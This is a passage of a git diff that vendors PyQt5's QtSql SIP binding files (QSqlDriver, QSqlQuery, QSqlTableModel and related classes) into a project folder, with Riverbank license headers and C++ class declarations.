registerSqlDriver(const QString &name, QSqlDriverCreatorBase *creator /Transfer/); + static bool isDriverAvailable(const QString &name); + +protected: + explicit QSqlDatabase(const QString &type); + explicit QSqlDatabase(QSqlDriver *driver); + +public: + void setNumericalPrecisionPolicy(QSql::NumericalPrecisionPolicy precisionPolicy); + QSql::NumericalPrecisionPolicy numericalPrecisionPolicy() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqldriver.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqldriver.sip new file mode 100644 index 00000000..02acab72 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqldriver.sip @@ -0,0 +1,160 @@ +// qsqldriver.sip generated by MetaSIP +// +// This file is part of the QtSql Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSqlDriver : QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QSqlQueryModel, &sipType_QSqlQueryModel, 3, 1}, + {sipName_QSqlRelationalDelegate, &sipType_QSqlRelationalDelegate, -1, 2}, + {sipName_QSqlDriver, &sipType_QSqlDriver, -1, -1}, + {sipName_QSqlTableModel, &sipType_QSqlTableModel, 4, -1}, + {sipName_QSqlRelationalTableModel, &sipType_QSqlRelationalTableModel, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + enum DriverFeature + { + Transactions, + QuerySize, + BLOB, + Unicode, + PreparedQueries, + NamedPlaceholders, + PositionalPlaceholders, + LastInsertId, + BatchOperations, + SimpleLocking, + LowPrecisionNumbers, + EventNotifications, + FinishQuery, + MultipleResultSets, + }; + + enum StatementType + { + WhereStatement, + SelectStatement, + UpdateStatement, + InsertStatement, + DeleteStatement, + }; + + enum IdentifierType + { + FieldName, + TableName, + }; + + explicit QSqlDriver(QObject *parent /TransferThis/ = 0); + virtual ~QSqlDriver(); + virtual bool isOpen() const; + bool isOpenError() const; + virtual bool beginTransaction() /ReleaseGIL/; + virtual bool commitTransaction() /ReleaseGIL/; + virtual bool rollbackTransaction() /ReleaseGIL/; + virtual QStringList tables(QSql::TableType tableType) const; + virtual QSqlIndex primaryIndex(const QString &tableName) const; + virtual QSqlRecord record(const QString &tableName) const; + virtual QString formatValue(const QSqlField &field, bool trimStrings = false) const; + virtual QString escapeIdentifier(const QString &identifier, QSqlDriver::IdentifierType type) const; + virtual QString sqlStatement(QSqlDriver::StatementType type, const QString &tableName, const QSqlRecord &rec, bool preparedStatement) const; + QSqlError lastError() const; + virtual QVariant handle() const; + virtual bool hasFeature(QSqlDriver::DriverFeature f) const = 0; + virtual void close() = 0; + virtual QSqlResult *createResult() const = 0 /Factory/; + virtual bool open(const QString &db, const QString &user = QString(), const QString &password = QString(), const QString &host = QString(), int port = -1, const QString &options = QString()) = 0 /ReleaseGIL/; + +protected: + virtual void setOpen(bool o); + virtual void setOpenError(bool e); + virtual void setLastError(const QSqlError &e); + +public: + virtual bool subscribeToNotification(const QString &name); + virtual bool unsubscribeFromNotification(const QString &name); + virtual QStringList subscribedToNotifications() const; + + enum NotificationSource + { + UnknownSource, + SelfSource, + OtherSource, + }; + +signals: + void notification(const QString &name); + void notification(const QString &name, QSqlDriver::NotificationSource source, const QVariant &payload); + +public: + virtual bool isIdentifierEscaped(const QString &identifier, QSqlDriver::IdentifierType type) const; + virtual QString stripDelimiters(const QString &identifier, QSqlDriver::IdentifierType type) const; + void setNumericalPrecisionPolicy(QSql::NumericalPrecisionPolicy precisionPolicy); + QSql::NumericalPrecisionPolicy numericalPrecisionPolicy() const; +%If (Qt_5_4_0 -) + + enum DbmsType + { + UnknownDbms, + MSSqlServer, + MySqlServer, + PostgreSQL, + Oracle, + Sybase, + SQLite, + Interbase, + DB2, + }; + +%End +%If (Qt_5_4_0 -) + QSqlDriver::DbmsType dbmsType() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlerror.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlerror.sip new file mode 100644 index 00000000..5a8b9ed6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlerror.sip @@ -0,0 +1,68 @@ +// qsqlerror.sip generated by MetaSIP +// +// This file is part of the QtSql Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSqlError +{ +%TypeHeaderCode +#include +%End + +public: + enum ErrorType + { + NoError, + ConnectionError, + StatementError, + TransactionError, + UnknownError, + }; + +%If (Qt_5_3_0 -) + QSqlError(const QString &driverText = QString(), const QString &databaseText = QString(), QSqlError::ErrorType type = QSqlError::NoError, const QString &errorCode = QString()); +%End +%If (Qt_5_3_0 -) + QSqlError(const QString &driverText, const QString &databaseText, QSqlError::ErrorType type, int number); +%End +%If (- Qt_5_3_0) + QSqlError(const QString &driverText = QString(), const QString &databaseText = QString(), QSqlError::ErrorType type = QSqlError::NoError, int number = -1); +%End + QSqlError(const QSqlError &other); + ~QSqlError(); + QString driverText() const; + void setDriverText(const QString &driverText); + QString databaseText() const; + void setDatabaseText(const QString &databaseText); + QSqlError::ErrorType type() const; + void setType(QSqlError::ErrorType type); + int number() const; + void setNumber(int number); + QString text() const; + bool isValid() const; + bool operator==(const QSqlError &other) const; + bool operator!=(const QSqlError &other) const; +%If (Qt_5_3_0 -) + QString nativeErrorCode() const; +%End +%If (Qt_5_10_0 -) + void swap(QSqlError &other /Constrained/); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlfield.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlfield.sip new file mode 100644 index 00000000..114fe781 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlfield.sip @@ -0,0 +1,77 @@ +// qsqlfield.sip generated by MetaSIP +// +// This file is part of the QtSql Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSqlField +{ +%TypeHeaderCode +#include +%End + +public: + enum RequiredStatus + { + Unknown, + Optional, + Required, + }; + + QSqlField(const QString &fieldName = QString(), QVariant::Type type = QVariant::Invalid); +%If (Qt_5_10_0 -) + QSqlField(const QString &fieldName, QVariant::Type type, const QString &tableName); +%End + QSqlField(const QSqlField &other); + bool operator==(const QSqlField &other) const; + bool operator!=(const QSqlField &other) const; + ~QSqlField(); + void setValue(const QVariant &value); + QVariant value() const; + void setName(const QString &name); + QString name() const; + bool isNull() const; + void setReadOnly(bool readOnly); + bool isReadOnly() const; + void clear(); + QVariant::Type type() const; + bool isAutoValue() const; + void setType(QVariant::Type type); + void setRequiredStatus(QSqlField::RequiredStatus status); + void setRequired(bool required); + void setLength(int fieldLength); + void setPrecision(int precision); + void setDefaultValue(const QVariant &value); + void setSqlType(int type); + void setGenerated(bool gen); + void setAutoValue(bool autoVal); + QSqlField::RequiredStatus requiredStatus() const; + int length() const; + int precision() const; + QVariant defaultValue() const; + int typeID() const; + bool isGenerated() const; + bool isValid() const; +%If (Qt_5_10_0 -) + void setTableName(const QString &tableName); +%End +%If (Qt_5_10_0 -) + QString tableName() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlindex.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlindex.sip new file mode 100644 index 00000000..52790da3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlindex.sip @@ -0,0 +1,41 @@ +// qsqlindex.sip generated by MetaSIP +// +// This file is part of the QtSql Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSqlIndex : QSqlRecord +{ +%TypeHeaderCode +#include +%End + +public: + QSqlIndex(const QString &cursorName = QString(), const QString &name = QString()); + QSqlIndex(const QSqlIndex &other); + ~QSqlIndex(); + void setCursorName(const QString &cursorName); + QString cursorName() const; + void setName(const QString &name); + QString name() const; + void append(const QSqlField &field); + void append(const QSqlField &field, bool desc); + bool isDescending(int i) const; + void setDescending(int i, bool desc); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlquery.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlquery.sip new file mode 100644 index 00000000..1ccc9054 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlquery.sip @@ -0,0 +1,88 @@ +// qsqlquery.sip generated by MetaSIP +// +// This file is part of the QtSql Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSqlQuery +{ +%TypeHeaderCode +#include +%End + +public: + enum BatchExecutionMode + { + ValuesAsRows, + ValuesAsColumns, + }; + + explicit QSqlQuery(QSqlResult *r); + QSqlQuery(const QString &query = QString(), QSqlDatabase db = QSqlDatabase()) /ReleaseGIL/; + explicit QSqlQuery(QSqlDatabase db); + QSqlQuery(const QSqlQuery &other); + ~QSqlQuery(); + bool isValid() const; + bool isActive() const; + bool isNull(int field) const; +%If (Qt_5_3_0 -) + bool isNull(const QString &name) const; +%End + int at() const; + QString lastQuery() const; + int numRowsAffected() const; + QSqlError lastError() const; + bool isSelect() const; + int size() const; + const QSqlDriver *driver() const; + const QSqlResult *result() const; + bool isForwardOnly() const; + QSqlRecord record() const; + void setForwardOnly(bool forward); + bool exec(const QString &query) /PyName=exec_,ReleaseGIL/; +%If (Py_v3) + bool exec(const QString &query) /ReleaseGIL/; +%End + QVariant value(int i) const; + QVariant value(const QString &name) const; + bool seek(int index, bool relative = false) /ReleaseGIL/; + bool next() /ReleaseGIL/; + bool previous() /ReleaseGIL/; + bool first() /ReleaseGIL/; + bool last() /ReleaseGIL/; + void clear() /ReleaseGIL/; + bool exec() /PyName=exec_,ReleaseGIL/; +%If (Py_v3) + bool exec() /ReleaseGIL/; +%End + bool execBatch(QSqlQuery::BatchExecutionMode mode = QSqlQuery::ValuesAsRows); + bool prepare(const QString &query) /ReleaseGIL/; + void bindValue(const QString &placeholder, const QVariant &val, QSql::ParamType type = QSql::In); + void bindValue(int pos, const QVariant &val, QSql::ParamType type = QSql::In); + void addBindValue(const QVariant &val, QSql::ParamType type = QSql::In); + QVariant boundValue(const QString &placeholder) const; + QVariant boundValue(int pos) const; + QMap boundValues() const; + QString executedQuery() const; + QVariant lastInsertId() const; + void setNumericalPrecisionPolicy(QSql::NumericalPrecisionPolicy precisionPolicy); + QSql::NumericalPrecisionPolicy numericalPrecisionPolicy() const; + void finish(); + bool nextResult(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlquerymodel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlquerymodel.sip new file mode 100644 index 00000000..45ac7fcb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlquerymodel.sip @@ -0,0 +1,68 @@ +// qsqlquerymodel.sip generated by MetaSIP +// +// This file is part of the QtSql Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSqlQueryModel : QAbstractTableModel +{ +%TypeHeaderCode +#include +%End + +public: + explicit QSqlQueryModel(QObject *parent /TransferThis/ = 0); + virtual ~QSqlQueryModel(); + virtual int rowCount(const QModelIndex &parent = QModelIndex()) const; + virtual int columnCount(const QModelIndex &parent = QModelIndex()) const; + QSqlRecord record(int row) const; + QSqlRecord record() const; + virtual QVariant data(const QModelIndex &item, int role = Qt::DisplayRole) const; + virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::DisplayRole) const; + virtual bool setHeaderData(int section, Qt::Orientation orientation, const QVariant &value, int role = Qt::EditRole); + virtual bool insertColumns(int column, int count, const QModelIndex &parent = QModelIndex()); + virtual bool removeColumns(int column, int count, const QModelIndex &parent = QModelIndex()); + void setQuery(const QSqlQuery &query); + void setQuery(const QString &query, const QSqlDatabase &db = QSqlDatabase()); + QSqlQuery query() const; + virtual void clear(); + QSqlError lastError() const; + virtual void fetchMore(const QModelIndex &parent = QModelIndex()); + virtual bool canFetchMore(const QModelIndex &parent = QModelIndex()) const; + +protected: + virtual void queryChange(); + virtual QModelIndex indexInQuery(const QModelIndex &item) const; + void setLastError(const QSqlError &error); + void beginResetModel(); + void endResetModel(); + void beginInsertRows(const QModelIndex &parent, int first, int last); + void endInsertRows(); + void beginRemoveRows(const QModelIndex &parent, int first, int last); + void endRemoveRows(); + void beginInsertColumns(const QModelIndex &parent, int first, int last); + void endInsertColumns(); + void beginRemoveColumns(const QModelIndex &parent, int first, int last); + void endRemoveColumns(); + +public: +%If (Qt_5_10_0 -) + virtual QHash roleNames() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlrecord.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlrecord.sip new file mode 100644 index 00000000..d9952c97 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlrecord.sip @@ -0,0 +1,63 @@ +// qsqlrecord.sip generated by MetaSIP +// +// This file is part of the QtSql Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSqlRecord +{ +%TypeHeaderCode +#include +%End + +public: + QSqlRecord(); + QSqlRecord(const QSqlRecord &other); + ~QSqlRecord(); + bool operator==(const QSqlRecord &other) const; + bool operator!=(const QSqlRecord &other) const; + QVariant value(int i) const; + QVariant value(const QString &name) const; + void setValue(int i, const QVariant &val); + void setValue(const QString &name, const QVariant &val); + void setNull(int i); + void setNull(const QString &name); + bool isNull(int i) const; + bool isNull(const QString &name) const; + int indexOf(const QString &name) const; + QString fieldName(int i) const; + QSqlField field(int i) const; + QSqlField field(const QString &name) const; + bool isGenerated(int i) const; + bool isGenerated(const QString &name) const; + void setGenerated(const QString &name, bool generated); + void setGenerated(int i, bool generated); + void append(const QSqlField &field); + void replace(int pos, const QSqlField &field); + void insert(int pos, const QSqlField &field); + void remove(int pos); + bool isEmpty() const; + bool contains(const QString &name) const; + void clear(); + void clearValues(); + int count() const /__len__/; +%If (Qt_5_1_0 -) + QSqlRecord keyValues(const QSqlRecord &keyFields) const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlrelationaldelegate.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlrelationaldelegate.sip new file mode 100644 index 00000000..777586b2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlrelationaldelegate.sip @@ -0,0 +1,37 @@ +// qsqlrelationaldelegate.sip generated by MetaSIP +// +// This file is part of the QtSql Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSqlRelationalDelegate : QItemDelegate +{ +%TypeHeaderCode +#include +%End + +public: + explicit QSqlRelationalDelegate(QObject *parent /TransferThis/ = 0); + virtual ~QSqlRelationalDelegate(); + virtual QWidget *createEditor(QWidget *parent /TransferThis/, const QStyleOptionViewItem &option /NoCopy/, const QModelIndex &index) const /Factory/; + virtual void setModelData(QWidget *editor, QAbstractItemModel *model /KeepReference/, const QModelIndex &index) const; +%If (Qt_5_12_0 -) + virtual void setEditorData(QWidget *editor, const QModelIndex &index) const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlrelationaltablemodel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlrelationaltablemodel.sip new file mode 100644 index 00000000..06f553f5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlrelationaltablemodel.sip @@ -0,0 +1,75 @@ +// qsqlrelationaltablemodel.sip generated by MetaSIP +// +// This file is part of the QtSql Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSqlRelation +{ +%TypeHeaderCode +#include +%End + +public: + QSqlRelation(); + QSqlRelation(const QString &aTableName, const QString &indexCol, const QString &displayCol); + QString tableName() const; + QString indexColumn() const; + QString displayColumn() const; + bool isValid() const; +%If (Qt_5_8_0 -) + void swap(QSqlRelation &other /Constrained/); +%End +}; + +class QSqlRelationalTableModel : QSqlTableModel +{ +%TypeHeaderCode +#include +%End + +public: + QSqlRelationalTableModel(QObject *parent /TransferThis/ = 0, QSqlDatabase db = QSqlDatabase()); + virtual ~QSqlRelationalTableModel(); + virtual QVariant data(const QModelIndex &item, int role = Qt::ItemDataRole::DisplayRole) const; + virtual bool setData(const QModelIndex &item, const QVariant &value, int role = Qt::ItemDataRole::EditRole); + virtual void clear(); + virtual bool select(); + virtual void setTable(const QString &tableName); + virtual void setRelation(int column, const QSqlRelation &relation); + QSqlRelation relation(int column) const; + virtual QSqlTableModel *relationModel(int column) const; + virtual void revertRow(int row); + virtual bool removeColumns(int column, int count, const QModelIndex &parent = QModelIndex()); + +protected: + virtual QString selectStatement() const; + virtual bool updateRowInTable(int row, const QSqlRecord &values); + virtual QString orderByClause() const; + virtual bool insertRowIntoTable(const QSqlRecord &values); + +public: + enum JoinMode + { + InnerJoin, + LeftJoin, + }; + + void setJoinMode(QSqlRelationalTableModel::JoinMode joinMode); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlresult.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlresult.sip new file mode 100644 index 00000000..4d948674 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqlresult.sip @@ -0,0 +1,90 @@ +// qsqlresult.sip generated by MetaSIP +// +// This file is part of the QtSql Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSqlResult /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QSqlResult(); + virtual QVariant handle() const; + +protected: + enum BindingSyntax + { + PositionalBinding, + NamedBinding, + }; + + explicit QSqlResult(const QSqlDriver *db); + int at() const; + QString lastQuery() const; + QSqlError lastError() const; + bool isValid() const; + bool isActive() const; + bool isSelect() const; + bool isForwardOnly() const; + const QSqlDriver *driver() const; + virtual void setAt(int at); + virtual void setActive(bool a); + virtual void setLastError(const QSqlError &e); + virtual void setQuery(const QString &query); + virtual void setSelect(bool s); + virtual void setForwardOnly(bool forward); + virtual bool exec() /PyName=exec_,ReleaseGIL/; +%If (Py_v3) + virtual bool exec() /ReleaseGIL/; +%End + virtual bool prepare(const QString &query) /ReleaseGIL/; + virtual bool savePrepare(const QString &sqlquery); + virtual void bindValue(int pos, const QVariant &val, QSql::ParamType type); + virtual void bindValue(const QString &placeholder, const QVariant &val, QSql::ParamType type); + void addBindValue(const QVariant &val, QSql::ParamType type); + QVariant boundValue(const QString &placeholder) const; + QVariant boundValue(int pos) const; + QSql::ParamType bindValueType(const QString &placeholder) const; + QSql::ParamType bindValueType(int pos) const; + int boundValueCount() const; + QVector &boundValues() const; + QString executedQuery() const; + QString boundValueName(int pos) const; + void clear(); + bool hasOutValues() const; + QSqlResult::BindingSyntax bindingSyntax() const; + virtual QVariant data(int i) = 0; + virtual bool isNull(int i) = 0; + virtual bool reset(const QString &sqlquery) = 0; + virtual bool fetch(int i) = 0 /ReleaseGIL/; + virtual bool fetchNext() /ReleaseGIL/; + virtual bool fetchPrevious() /ReleaseGIL/; + virtual bool fetchFirst() = 0 /ReleaseGIL/; + virtual bool fetchLast() = 0 /ReleaseGIL/; + virtual int size() = 0; + virtual int numRowsAffected() = 0; + virtual QSqlRecord record() const; + virtual QVariant lastInsertId() const; + +private: + QSqlResult(const QSqlResult &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqltablemodel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqltablemodel.sip new file mode 100644 index 00000000..fcfab5d9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qsqltablemodel.sip @@ -0,0 +1,97 @@ +// qsqltablemodel.sip generated by MetaSIP +// +// This file is part of the QtSql Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSqlTableModel : QSqlQueryModel +{ +%TypeHeaderCode +#include +%End + +public: + enum EditStrategy + { + OnFieldChange, + OnRowChange, + OnManualSubmit, + }; + + QSqlTableModel(QObject *parent /TransferThis/ = 0, QSqlDatabase db = QSqlDatabase()); + virtual ~QSqlTableModel(); + virtual bool select(); + virtual void setTable(const QString &tableName); + QString tableName() const; + virtual Qt::ItemFlags flags(const QModelIndex &index) const; + virtual QVariant data(const QModelIndex &idx, int role = Qt::ItemDataRole::DisplayRole) const; + virtual bool setData(const QModelIndex &index, const QVariant &value, int role = Qt::ItemDataRole::EditRole); + virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::ItemDataRole::DisplayRole) const; + bool isDirty(const QModelIndex &index) const; + bool isDirty() const; + virtual void clear(); + virtual void setEditStrategy(QSqlTableModel::EditStrategy strategy); + QSqlTableModel::EditStrategy editStrategy() const; + QSqlIndex primaryKey() const; + QSqlDatabase database() const; + int fieldIndex(const QString &fieldName) const; + virtual void sort(int column, Qt::SortOrder order); + virtual void setSort(int column, Qt::SortOrder order); + QString filter() const; + virtual void setFilter(const QString &filter); + virtual int rowCount(const QModelIndex &parent = QModelIndex()) const; + virtual bool removeColumns(int column, int count, const QModelIndex &parent = QModelIndex()); + virtual bool removeRows(int row, int count, const QModelIndex &parent = QModelIndex()); + virtual bool insertRows(int row, int count, const QModelIndex &parent = QModelIndex()); + bool insertRecord(int row, const QSqlRecord &record); + bool setRecord(int row, const QSqlRecord &record); + virtual void revertRow(int row); + +public slots: + virtual bool submit(); + virtual void revert(); + bool submitAll(); + void revertAll(); + +signals: + void primeInsert(int row, QSqlRecord &record); + void beforeInsert(QSqlRecord &record); + void beforeUpdate(int row, QSqlRecord &record); + void beforeDelete(int row); + +protected: + virtual bool updateRowInTable(int row, const QSqlRecord &values); + virtual bool insertRowIntoTable(const QSqlRecord &values); + virtual bool deleteRowFromTable(int row); + virtual QString orderByClause() const; + virtual QString selectStatement() const; + void setPrimaryKey(const QSqlIndex &key); + void setQuery(const QSqlQuery &query); + virtual QModelIndex indexInQuery(const QModelIndex &item) const; + +public: + virtual bool selectRow(int row); + QSqlRecord record() const; + QSqlRecord record(int row) const; + +protected: +%If (Qt_5_1_0 -) + QSqlRecord primaryValues(int row) const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qtsqlglobal.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qtsqlglobal.sip new file mode 100644 index 00000000..7cb5a44b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSql/qtsqlglobal.sip @@ -0,0 +1,67 @@ +// qtsqlglobal.sip generated by MetaSIP +// +// This file is part of the QtSql Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, 